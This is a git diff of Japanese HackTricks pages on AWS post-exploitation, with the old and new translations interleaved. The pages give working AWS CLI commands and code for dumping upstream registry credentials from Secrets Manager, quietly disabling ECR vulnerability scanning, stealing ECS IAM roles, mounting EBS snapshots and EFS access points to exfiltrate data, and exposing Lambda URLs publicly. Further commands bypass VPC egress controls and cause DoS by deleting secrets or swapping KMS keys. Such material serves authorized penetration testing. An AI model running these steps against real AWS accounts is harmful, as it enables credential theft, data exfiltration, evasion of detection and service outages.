+### ECR Pull‑Through Cache (PTC) から上流レジストリの認証情報を抽出する

+ECR Pull‑Through Cache が認証された上流レジストリ（Docker Hub、GHCR、ACR など）用に構成されている場合、上流の認証情報は予測可能な名前プレフィックス `ecr-pullthroughcache/` を持つ AWS Secrets Manager に保存されます。運用者が ECR 管理者に広範な Secrets Manager の読み取り権限を付与していることがあり、これにより認証情報の持ち出しや AWS 外での再利用が可能になります。

-
-
-
-### ECR Pull‑Through Cache (PTC) から upstream registry credentials を exfiltrate する
-
-ECR Pull‑Through Cache が認証済みの upstream registries（Docker Hub、GHCR、ACR など）に対して設定されている場合、upstream の認証情報は AWS Secrets Manager に予測可能な名前プレフィックス `ecr-pullthroughcache/` で保存されます。運用者は時に ECR 管理者に対して広範な Secrets Manager の読み取りアクセスを付与しており、その結果、認証情報の exfiltration や AWS 外での再利用が可能になることがあります。
-
-Requirements
+要件
 - secretsmanager:ListSecrets
 - secretsmanager:GetSecretValue

-候補となる PTC secrets を列挙する
+PTC の候補シークレットを列挙する
 ```bash
 aws secretsmanager list-secrets \
 --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
 --output text
 ```
-発見された secrets を Dump し、一般的なフィールドを解析する
+発見した secrets をダンプして一般的なフィールドを解析する
 ```bash
 for s in $(aws secretsmanager list-secrets \
 --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
@@ -120,25 +114,25 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
 jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
 done
 ```
-任意: leaked creds を upstream (read‑only login) に対して検証する
+任意: upstream に対して leaked creds を検証する (read‑only login)
 ```bash
 echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
 ```
 影響
- これらの Secrets Manager エントリを読み取ることで、再利用可能な upstream registry credentials（username/password または token）を取得できます。これらは upstream の権限に応じて、AWS の外部で private images を pull したり、追加の repositories へアクセスするために悪用される可能性があります。
+- これらの Secrets Manager エントリを読み取ると、再利用可能な upstream registry credentials（username/password または token）を取得できます。これらは AWS 外部で悪用され、private images を pull したり、upstream permissions に応じて追加のリポジトリへアクセスするために使われます。


-### レジストリ単位のステルス: `ecr:PutRegistryScanningConfiguration` を使用してスキャンを無効化またはダウングレード
+### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration`

-レジストリレベルの ECR 権限を持つ攻撃者は、registry scanning configuration を BASIC に設定し、scan-on-push ルールを何も設定しないことで、ALL リポジトリの自動脆弱性スキャンを静かに低下または無効化できます。これにより新しいイメージの push が自動的にスキャンされなくなり、脆弱なまたは悪意のあるイメージを隠すことができます。
+レジストリレベルの ECR 権限を持つ攻撃者は、registry scanning configuration を scan-on-push ルール無しで BASIC に設定することで、全てのリポジトリに対する自動脆弱性スキャンを静かに低減または無効化できます。これにより新しい image pushes が自動的にスキャンされなくなり、脆弱または悪意のあるイメージが隠蔽されます。

-要件
+Requirements
 - ecr:PutRegistryScanningConfiguration
 - ecr:GetRegistryScanningConfiguration
 - ecr:PutImageScanningConfiguration (optional, per‑repo)
 - ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)

-レジストリ全体を手動へダウングレード（自動スキャンなし）
+レジストリ全体を手動にダウングレード（自動スキャン無し）
 ```bash
 REGION=us-east-1
 # Read current config (save to restore later)
@@ -165,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
 # Optional: will error with ScanNotFoundException if no scan exists
 aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
 ```
-任意: リポジトリのスコープでさらに劣化させる
+任意: リポジトリのスコープでさらに権限を低下させる
 ```bash
 # Disable scan-on-push for a specific repository
 aws ecr put-image-scanning-configuration \
@@ -174,18 +168,19 @@ aws ecr put-image-scanning-configuration \
 --image-scanning-configuration scanOnPush=false
 ```
 影響
- レジストリ全体への新しいイメージのプッシュが自動でスキャンされなくなり、脆弱または悪意のあるコンテンツの可視性が低下し、手動スキャンが開始されるまで検出が遅れる。
+- レジストリ全体への新しいイメージのプッシュは自動でスキャンされなくなり、脆弱または悪意のあるコンテンツの可視性が低下し、手動でスキャンを実行するまで検出が遅延します。
+

 ### レジストリ全体のスキャンエンジンを `ecr:PutAccountSetting` でダウングレードする (AWS_NATIVE -> CLAIR)

-デフォルトの AWS_NATIVE からレガシーの CLAIR エンジンに BASIC スキャンエンジンを切り替えることで、レジストリ全体の脆弱性検出の品質を低下させます。これによりスキャンが無効化されるわけではありませんが、検出結果やカバレッジが大きく変わる可能性があります。ルールなしの BASIC registry scanning configuration と組み合わせると、スキャンを手動のみの運用にできます。
+デフォルトの AWS_NATIVE から旧式の CLAIR エンジンに BASIC スキャンエンジンを切り替えることで、レジストリ全体の脆弱性検出品質を低下させます。スキャン自体は無効になりませんが、検出結果やカバレッジが大きく変わる可能性があります。ルールが設定されていない BASIC のレジストリスキャン設定と組み合わせると、スキャンを手動のみで実行するようにできます。

 要件
 - `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
- (オプション) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
+- （オプション）`ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`

 影響
- レジストリ設定 `BASIC_SCAN_TYPE_VERSION` が `CLAIR` に設定され、以降の BASIC スキャンはダウングレードされたエンジンで実行されます。CloudTrail は `PutAccountSetting` API コールを記録します。
+- レジストリ設定 `BASIC_SCAN_TYPE_VERSION` が `CLAIR` に設定されるため、以降の BASIC スキャンはダウングレードされたエンジンで実行されます。CloudTrail は `PutAccountSetting` API コールを記録します。

 手順
 ```bash
@@ -206,4 +201,4 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
 # 5) Restore to AWS_NATIVE when finished to avoid side effects
 aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
 ```
-
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md
@@ -4,41 +4,42 @@

 ## ECS

-詳細は次を参照してください:
+For more information check:

 {{#ref}}
 ../../aws-services/aws-ecs-enum.md
 {{#endref}}

-### ホストの IAM ロール
+### Host IAM Roles

-In ECS、コンテナ内で実行されるタスクには**IAM role をタスクに割り当てることができる**。**もし**そのタスクが**EC2**インスタンス内で実行されている場合、**EC2 instance**には別の**IAM**ロールがアタッチされます。\
-つまり、もし ECS インスタンスを**compromise**できれば、**obtain the IAM role associated to the ECR and to the EC2 instance** 可能性があります。これらの資格情報を取得する方法の詳細は次を参照してください:
+ECS では、コンテナ内で実行される task に **IAM role を割り当てることができます**。\
+タスクが **EC2** instance 内で実行されている場合、**EC2 instance** には別の **IAM** role がアタッチされます。\
+つまり、ECS instance を **compromise** できれば、ECR や EC2 instance に紐づく **IAM role を取得できる可能性があります**。これらの資格情報を取得する方法の詳細は次を参照してください：

 {{#ref}}
 https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
 {{#endref}}

 > [!CAUTION]
-> EC2 instance が IMDSv2 を強制している場合、[**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**response of the PUT request** は **hop limit of 1** を持つため、EC2 instance 内のコンテナから EC2 メタデータにアクセスすることが不可能になります。
+> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.

 ### Privesc to node to steal other containers creds & secrets

-さらに、EC2 は docker を使って ECs タスクを実行しているため、ノードに脱出するか**access the docker socket**できれば、どの**other containers**が実行されているかを**check**でき、実際にそれらに**get inside of them**してアタッチされている**IAM roles**を**steal their IAM roles**することも可能です。
+さらに、EC2 は docker を使って ECS tasks を実行しているため、もし node に escape するか **docker socket にアクセス**できれば、どの **other containers** が実行されているかを **確認** し、それらに **入り込んで** アタッチされている **IAM roles を steal** することさえできます。

-#### 現在のホストでコンテナを実行させる
+#### Making containers run in current host

-さらに、**EC2 instance role** は通常クラスタ内のノードとして使用されている EC2 インスタンスの **update the container instance state** を行うのに十分な **permissions** を持っています。攻撃者は**state of an instance to DRAINING**に変更することができ、その後 ECS はそのインスタンスから**remove all the tasks from it**し、**REPLICA**として実行されているものは**run in a different instance,**、場合によっては攻撃者の**attackers instance**内で実行され、そこで**steal their IAM roles**やコンテナ内部の機密情報を取得することができます。
+さらに、**EC2 instance role** は通常、クラスター内のノードとして使われている EC2 インスタンスの **container instance state を更新する**ための十分な **permissions** を持っています。攻撃者はインスタンスの **state を DRAINING に変更**することができ、すると ECS はそのインスタンスから **すべての tasks を削除**し、**REPLICA** として実行されているタスクは別のインスタンスで **run in a different instance** ことになります。これが攻撃者のインスタンス内で実行される可能性があり、その場合攻撃者はコンテナ内から **IAM roles を steal** したり、機密情報を取得できます。
 ```bash
 aws ecs update-container-instances-state \
 --cluster <cluster> --status DRAINING --container-instances <container-instance-id>
 ```
-同じ手法は、**EC2 インスタンスをクラスターから deregister することで実行できます**。これは潜在的にステルス性が低くなりますが、**tasks を他のインスタンスで実行させることを強制します：**
+同じ手法は **deregistering the EC2 instance from the cluster** によって行うことができます。これは潜在的にステルス性が低くなりますが、**tasks を他のインスタンスで実行させる**ことを強制します：
 ```bash
 aws ecs deregister-container-instance \
 --cluster <cluster> --container-instance <container-instance-id> --force
 ```
-タスクの再実行を強制する最後の手法は、ECS に対して **task or container was stopped** と示すことです。これを行う可能性のある API は 3 つあります:
+tasksの再実行を強制する最後の手法は、ECSに**task or container was stopped**と通知することです。これを行うAPIは3つあります：
 ```bash
 # Needs: ecs:SubmitTaskStateChange
 aws ecs submit-task-state-change --cluster <value> \
@@ -52,23 +53,24 @@ aws ecs submit-attachment-state-changes ...
 ```
 ### Steal sensitive info from ECR containers

-The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them).
+The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **イメージをダウンロードする**（それらの中から機密情報を検索できる）。
+
+

-{{#include ../../../../banners/hacktricks-training.md}}

 ### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)

-ネイティブな ECS と EBS の統合（2024+）を悪用して、既存の EBS スナップショットの内容を新しい ECS タスク/サービス内に直接マウントし、コンテナ内からデータを読み取ります。
+既存のEBSスナップショットの内容を新しいECS task/service 内に直接マウントし、コンテナ内部からデータを読み取るためにネイティブなECS EBS統合 (2024+) を悪用する。

 - Needs (minimum):
- ecs:RegisterTaskDefinition
- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
- iam:PassRole on:
+- `ecs:RegisterTaskDefinition`
+- One of: `ecs:RunTask` OR `ecs:CreateService`/`ecs:UpdateService`
+- `iam:PassRole` on:
 - ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
 - Task execution/Task roles referenced by the task definition
 - If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).

- Impact: スナップショットから任意のディスク内容（例：データベースファイル）をコンテナ内で読み取り、ネットワーク／ログ経由で持ち出すことが可能。
+- Impact: コンテナ内でスナップショットから任意のディスク内容（例: データベースファイル）を読み取り、network/logs 経由で exfiltrate できる。

 Steps (Fargate example):

@@ -79,7 +81,7 @@ aws iam create-role --role-name ecsInfrastructureRole \
 aws iam attach-role-policy --role-name ecsInfrastructureRole \
 --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
 ```
-2) `configuredAtLaunch` とマークされたボリュームを持つ task definition を登録し、container にマウントします。例（シークレットを出力してからスリープします）:
+2) タスク定義を登録し、volume を `configuredAtLaunch` に設定してコンテナにマウントします。例（シークレットを出力してからスリープします）:
 ```json
 {
 "family": "ht-ebs-read",
@@ -99,7 +101,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
 "volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
 }
 ```
-3) サービスを作成または更新し、EBS スナップショットを `volumeConfigurations.managedEBSVolume` 経由で渡す（infra role に iam:PassRole が必要）。例：
+3) `volumeConfigurations.managedEBSVolume` 経由で EBS snapshot を渡してサービスを作成または更新する（インフラロールに iam:PassRole が必要）。例：
 ```json
 {
 "cluster": "ht-ecs-ebs",
@@ -113,7 +115,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
 ]
 }
 ```
-4) タスクが開始されると、container は設定された mount path（例: `/loot`）で snapshot の内容を読み取ることができます。task の network/logs を経由して exfiltrate してください。
+4) タスクが開始すると、container は設定された mount path（例: `/loot`）で snapshot の内容を読み取ることができます。Exfiltrate は task の network/logs 経由で行ってください。

 クリーンアップ:
 ```bash
@@ -121,4 +123,4 @@ aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count
 aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
 aws ecs deregister-task-definition ht-ebs-read
 ```
-
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md
@@ -1,18 +1,20 @@
 # AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Data Theft)

-`lambda:UpdateFunctionConfiguration` を悪用して既存の EFS Access Point を Lambda にアタッチし、その後マウントされたパスからファイルを列挙/読み取りする簡単なコードをデプロイして、関数が以前はアクセスできなかった共有シークレットや設定を持ち出します。
+{{#include ../../../../banners/hacktricks-training.md}}
+
+既存の EFS Access Point を Lambda にアタッチするために `lambda:UpdateFunctionConfiguration` を悪用し、続いてマウントされたパスからファイルを列挙/読み取りする簡単なコードをデプロイして、当該関数が以前はアクセスできなかった共有のシークレットや設定を漏えいさせます。

 ## 要件
- 必要な権限（被害アカウント/プリンシパル）:
+- 被害者アカウント／プリンシパルに必要な権限:
 - `lambda:GetFunctionConfiguration`
- `lambda:ListFunctions` (関数を見つけるため)
+- `lambda:ListFunctions`（関数を見つけるため）
 - `lambda:UpdateFunctionConfiguration`
 - `lambda:UpdateFunctionCode`
 - `lambda:InvokeFunction`
- `efs:DescribeMountTargets` (マウントターゲットが存在することを確認するため)
- 環境の前提:
- ターゲットの Lambda は VPC 有効化されており、そのサブネット/SGs が TCP/2049 経由で EFS マウントターゲットの SG に到達できること（例: ロールに AWSLambdaVPCAccessExecutionRole が付与され、VPC ルーティングが許可されている）。
- EFS Access Point が同一 VPC にあり、Lambda サブネットの AZ にマウントターゲットを持っていること。
+- `efs:DescribeMountTargets`（マウントターゲットが存在することを確認するため）
+- 環境に関する前提:
+- ターゲットの Lambda が VPC 有効で、サブネット／SG が TCP/2049 で EFS mount target SG に到達できること（例: ロールが AWSLambdaVPCAccessExecutionRole を持ち、VPC のルーティングがそれを許可している）。
+- EFS Access Point が同一 VPC にあり、Lambda サブネットの AZ にマウントターゲットが存在すること。

 ## 攻撃
 - 変数
@@ -30,7 +32,7 @@ aws lambda update-function-configuration \
 # wait until LastUpdateStatus == Successful
 until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
 ```
-2) code を単純な reader に上書きして、ファイルを列挙し候補の secret/config ファイルの先頭200バイトを読み取る
+2) コードを上書きして、ファイルを列挙し、候補の secret/config file の先頭200バイトを覗く簡易リーダーにする
 ```
 cat > reader.py <<PY
 import os, json
@@ -62,13 +64,13 @@ until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --qu
 aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
 cat /tmp/efs-out.json
 ```
-出力には /mnt/ht 以下のディレクトリ一覧と、EFS にある選択した secret/config file の小さなプレビューを含める必要があります。
+出力には /mnt/ht 以下のディレクトリ一覧と、EFS にある選択した secret/config file の小さなプレビューを含めるべきです。

 ## 影響
-一覧された権限を持つ攻撃者は、任意の in-VPC EFS Access Points を被害者の Lambda 関数にマウントし、当該関数からはこれまでアクセスできなかった EFS 上の共有 configuration と secrets を読み取り、exfiltrate できます。
+列挙された権限を持つ攻撃者は、任意の in-VPC EFS Access Points を被害者の Lambda 関数にマウントして、元々その関数からアクセスできなかった EFS 上の共有設定や secrets を読み取り、exfiltrate できます。

 ## クリーンアップ
 ```
 aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
 ```
-
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md
@@ -1,36 +1,38 @@
 # AWS - Lambda Function URL Public Exposure (AuthType NONE + Public Invoke Policy)

-Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations.
+{{#include ../../../../banners/hacktricks-training.md}}

-## Abusing it
+Function URL の AuthType を NONE に切り替え、resource-based policy を付与して lambda:InvokeFunctionUrl を全員に許可することで、プライベートな Lambda Function URL をパブリックな認証不要エンドポイントに変えられます。これにより内部関数の匿名呼び出しが可能になり、機密性の高いバックエンド処理が露出する恐れがあります。

- Pre-reqs: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
+## 悪用方法
+
+- 前提条件: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
 - Region: us-east-1

-### Steps
-1) Ensure the function has a Function URL (defaults to AWS_IAM):
+### 手順
+1) Function に Function URL があることを確認（デフォルトは AWS_IAM）:
 ```
 aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
 ```

-2) Switch the URL to public (AuthType NONE):
+2) URL をパブリックに切り替える (AuthType NONE):
 ```
 aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
 ```

-3) Add a resource-based policy statement to allow unauthenticated principals:
+3) 認証なしプリンシパルを許可する resource-based policy ステートメントを追加:
 ```
 aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
 ```

-4) Retrieve the URL and invoke without credentials:
+4) URL を取得して認証情報なしで呼び出す:
 ```
 URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
 curl -sS "$URL"
 ```

-### Impact
- The Lambda function becomes anonymously accessible over the internet.
+### 影響
+- Lambda 関数がインターネット上で匿名アクセス可能になります。

 ### Example output (unauthenticated 200)
 ```
@@ -43,4 +45,4 @@ https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
 aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
 aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
 ```
-
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md
@@ -1,12 +1,16 @@
 # AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig

-`lambda:PutRuntimeManagementConfig` を悪用して、関数を特定のランタイムバージョンに固定（Manual）するか、更新を停止（FunctionUpdate）します。これにより、悪意のあるレイヤー／ラッパーとの互換性を維持し、古い脆弱なランタイム上に関数を留めておくことでエクスプロイトや長期的な永続化を容易にできます。
+{{#include ../../../../banners/hacktricks-training.md}}

-要件: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
+`lambda:PutRuntimeManagementConfig` を悪用して、関数を特定のランタイムバージョンにピン留め（Manual）したり、アップデートを停止（FunctionUpdate）します。これにより、悪意のあるレイヤー/ラッパーとの互換性を維持でき、古く脆弱なランタイム上に関数を留めておくことで、悪用や長期的な持続性を助けることができます。

-例（us-east-1）:
- 呼び出し: `aws lambda invoke --function-name  /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
- 更新を凍結: `aws lambda put-runtime-management-config --function-name  --update-runtime-on FunctionUpdate --region us-east-1`
+必要条件: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
+
+Example (us-east-1):
+- 実行: `aws lambda invoke --function-name  /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
+- アップデートを停止: `aws lambda put-runtime-management-config --function-name  --update-runtime-on FunctionUpdate --region us-east-1`
 - 確認: `aws lambda get-runtime-management-config --function-name  --region us-east-1`

-必要に応じて、INIT_START ログから Runtime Version ARN を抽出し、`--update-runtime-on Manual --runtime-version-arn <arn>` を使用して特定のランタイムバージョンに固定できます。
+必要に応じて、INIT_START ログから Runtime Version ARN を抽出し、`--update-runtime-on Manual --runtime-version-arn <arn>` を使用して特定のランタイムバージョンにピン留めできます。
+
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md
@@ -1,16 +1,18 @@
 # AWS Lambda – VPC Egress Bypass by Detaching VpcConfig

-制限された VPC から Lambda function を強制的に外すには、空の VpcConfig (SubnetIds=[], SecurityGroupIds=[]) でその設定を更新します。関数は Lambda-managed ネットワーキングプレーンで実行され、アウトバウンドのインターネットアクセスを取り戻し、NAT のないプライベート VPC サブネットで強制されている egress コントロールをバイパスします。
+{{#include ../../../../banners/hacktricks-training.md}}

-## Abusing it
+空の VpcConfig (SubnetIds=[], SecurityGroupIds=[]) に更新することで、制限された VPC から Lambda 関数を強制的に切り離します。関数は Lambda が管理するネットワーク領域で実行されるようになり、アウトバウンドのインターネットアクセスを回復し、NAT のないプライベート VPC サブネットで適用される egress コントロールをバイパスします。

- Pre-reqs: lambda:UpdateFunctionConfiguration on the target function (and lambda:InvokeFunction to validate), plus permissions to update code/handler if changing them.
- Assumptions: The function is currently configured with VpcConfig pointing to private subnets without NAT (so outbound internet is blocked).
- Region: us-east-1
+## 悪用

-### Steps
+- 事前条件: ターゲット関数に対する lambda:UpdateFunctionConfiguration（検証用に lambda:InvokeFunction があると良い）、およびコード/ハンドラを変更する場合はそれらを更新する権限。
+- 想定: 関数は現在 VpcConfig が NAT のないプライベートサブネットを指しており（そのためアウトバウンドのインターネットがブロックされている）設定されている。
+- リージョン: us-east-1

-0) Prepare a minimal handler that proves outbound HTTP works
+### 手順
+
+0) アウトバウンド HTTP が動作することを証明する最小ハンドラを用意する

 cat > net.py <<'PY'
 import urllib.request, json
@@ -26,12 +28,12 @@ zip net.zip net.py
 aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
 aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true

-1) Record current VPC config (to restore later if needed)
+1) 後で必要に応じて復元できるように現在の VPC 設定を記録する

 aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
 cat /tmp/orig-vpc.json

-2) Detach the VPC by setting empty lists
+2) 空のリストを設定して VPC を切り離す

 aws lambda update-function-configuration \
 --function-name $TARGET_FN \
@@ -39,25 +41,26 @@ aws lambda update-function-configuration \
 --region $REGION
 until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done

-3) Invoke and verify outbound access
+3) Invoke してアウトバウンドアクセスを確認する

 aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
 cat /tmp/net-out.json

-(Optional) Restore original VPC config
+(Optional) 元の VPC 設定を復元する

 if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
 SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
 aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION
 fi

-### Impact
- 関数からの制限のないアウトバウンドインターネットアクセスを再獲得します。これにより、NAT のないプライベートサブネットに意図的に隔離されていたワークロードからのデータ流出や C2 が可能になります。
+### 影響
+- 関数から制限のないアウトバウンドインターネットアクセスが復元され、NAT のないプライベートサブネット内で意図的に隔離されていたワークロードからの data exfiltration や C2 を可能にします。

-### Example output (after detaching VpcConfig)
+### 例（VpcConfig を切り離した後の出力）

 {"egress": true, "ip": "34.x.x.x"}

-### Cleanup
- 一時的に変更した code/handler がある場合は元に戻してください。
+### クリーンアップ
+- 一時的に作成したコード/ハンドラ変更がある場合は復元してください。
 - 必要に応じて上記のように /tmp/orig-vpc.json に保存した元の VpcConfig を復元してください。
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md
@@ -4,22 +4,22 @@

 ## Secrets Manager

-詳細は次を参照してください:
+詳細は以下を参照してください:

 {{#ref}}
 ../../aws-services/aws-secrets-manager-enum.md
 {{#endref}}

-### Secrets の読み取り
+### シークレットの読み取り

-**secrets 自体は機密情報です**、[check the privesc page](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) を参照して、読み取り方法を学んでください。
+The **シークレット自体は機密情報です**, [check the privesc page](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) でそれらの読み取り方法を確認してください。

-### DoS Change Secret Value
+### DoS シークレットの値の変更

-secret の値を変更すると、その値に依存するすべてのシステムを**DoS**する可能性があります。
+シークレットの値を変更すると、その値に依存するすべてのシステムを**DoSする可能性があります。**

 > [!WARNING]
-> 以前の値も保存されていることに注意してください。したがって、簡単に以前の値に戻すことができます。
+> 以前の値も保存されているため、簡単に以前の値に戻すことができます。
 ```bash
 # Requires permission secretsmanager:PutSecretValue
 aws secretsmanager put-secret-value \
@@ -28,19 +28,19 @@ aws secretsmanager put-secret-value \
 ```
 ### DoS Change KMS key

-攻撃者が secretsmanager:UpdateSecret 権限を持っている場合、攻撃者が所有する KMS key を使用するよう secret を設定できます。そのキーは初期設定で誰でもアクセス・使用できるようになっているため、secret を新しいキーで更新することが可能です。もしそのキーにアクセスできない設定であれば、secret を更新することはできません。
+攻撃者が secretsmanager:UpdateSecret 権限を持っていると、secret を攻撃者が所有する KMS key を使うように設定できます。そのキーは当初、誰でもアクセスして使用できるように設定されているため、secret を新しいキーで更新することが可能です。もしそのキーにアクセスできなければ、secret の更新はできません。

-secret のキーを変更した後、攻撃者は自分のキーの設定を変更して自分だけがアクセスできるようにします。こうすることで、以降のバージョンの secret は新しいキーで暗号化され、誰もアクセスできないため、secret を取得する能力が失われます。
+secret のキーを変更した後、攻撃者は自分のキーの設定を変更して自分だけがアクセスできるようにします。こうすることで、以降のバージョンの secret は新しいキーで暗号化され、そのキーにアクセスできないため、secret を取得する能力が失われます。

-重要なのは、このアクセス不能は secret の内容が変更された後に作られる後続のバージョンでのみ発生するということです。現行のバージョンは元の KMS key で暗号化されたままだからです。
+重要なのは、このアクセス不能は secret の内容が変更された後の以降のバージョンでのみ発生する点です。現在のバージョンはまだ元の KMS key で暗号化されているためです。
 ```bash
 aws secretsmanager update-secret \
 --secret-id MyTestSecret \
 --kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
 ```
-### DoS Deleting Secret
+### DoS Secret の削除

-シークレットを削除する最小日数は7日です
+secret を削除するための最小日数は7日です
 ```bash
 aws secretsmanager delete-secret \
 --secret-id MyTestSecret \
@@ -48,29 +48,29 @@ aws secretsmanager delete-secret \
 ```
 ## secretsmanager:RestoreSecret

-シークレットを復元することが可能です。これにより、削除予定になっているシークレットを復元できます。シークレットの最小削除期間は7日、最大は30日です。secretsmanager:GetSecretValue 権限と組み合わせることで、それらの内容を取得できるようになります。
+シークレットは復元可能であり、削除がスケジュールされたシークレットを復元できます。シークレットの最短削除期間は7日、最長は30日です。secretsmanager:GetSecretValue 権限と組み合わせることで、その内容を取得できるようになります。

-削除処理中のシークレットを復旧するには、次のコマンドを使用できます：
+削除処理中のシークレットを復元するには、次のコマンドを使用します:
 ```bash
 aws secretsmanager restore-secret \
 --secret-id <Secret_Name>
 ```
 ## secretsmanager:DeleteResourcePolicy

-このアクションは、secret へのアクセスを制御する resource policy を削除することを許可します。resource policy が特定のユーザー群へのアクセスを許可するように設定されていた場合、これは DoS につながる可能性があります。
+このアクションは、secret へのアクセスを制御するリソースポリシーを削除することを許可します。リソースポリシーが特定のユーザーの集合へのアクセスを許可するように構成されていた場合、DoS を引き起こす可能性があります。

